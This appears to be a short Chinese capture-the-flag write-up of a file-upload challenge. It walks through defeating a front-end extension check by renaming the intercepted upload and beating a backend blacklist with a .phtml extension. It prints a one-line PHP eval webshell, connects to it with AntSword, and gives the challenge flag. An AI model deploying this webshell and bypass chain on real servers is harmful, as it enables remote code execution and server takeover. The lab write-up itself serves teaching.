一、题面
可以看到页面存在一个文件上传的表单,大概率考察文件上传。
二、解题
2.1 上传yjh.php
<?php @eval($_POST['sxk'])?>
开启抓包:
可以看到弹窗提示只允许上传jpg、png和gif格式的图片文件,但是yakit没抓到包,说明做了前端后缀限制。
2.2 绕过前端限制
上传yjh.jpg,然后抓包改成yjh.php
上传成功,路径在uplo4d
下。能上传成功说明没有检测文件内容。
- jpg改成php后缀:
无法上传。但此时Content-Type类型已经是image/jpeg
类型了,说明不是MIME类型的问题。
并且文件后缀是jpg的时候是可以上传的,说明后端并没有检测文件内容。不需要处理文件内容。
所以推出应该是黑名单检测
2.3 绕过黑名单
尝试php5失败。
尝试phtml成功:
2.4 getshell
蚁剑连接webshell。
flag:
flag{03a43cb0-3289-4db5-882b-119718175b29}
总结
本关主要考察文件上传漏洞,涉及的绕过方式主要有前端绕过和后缀名黑名单检测绕过。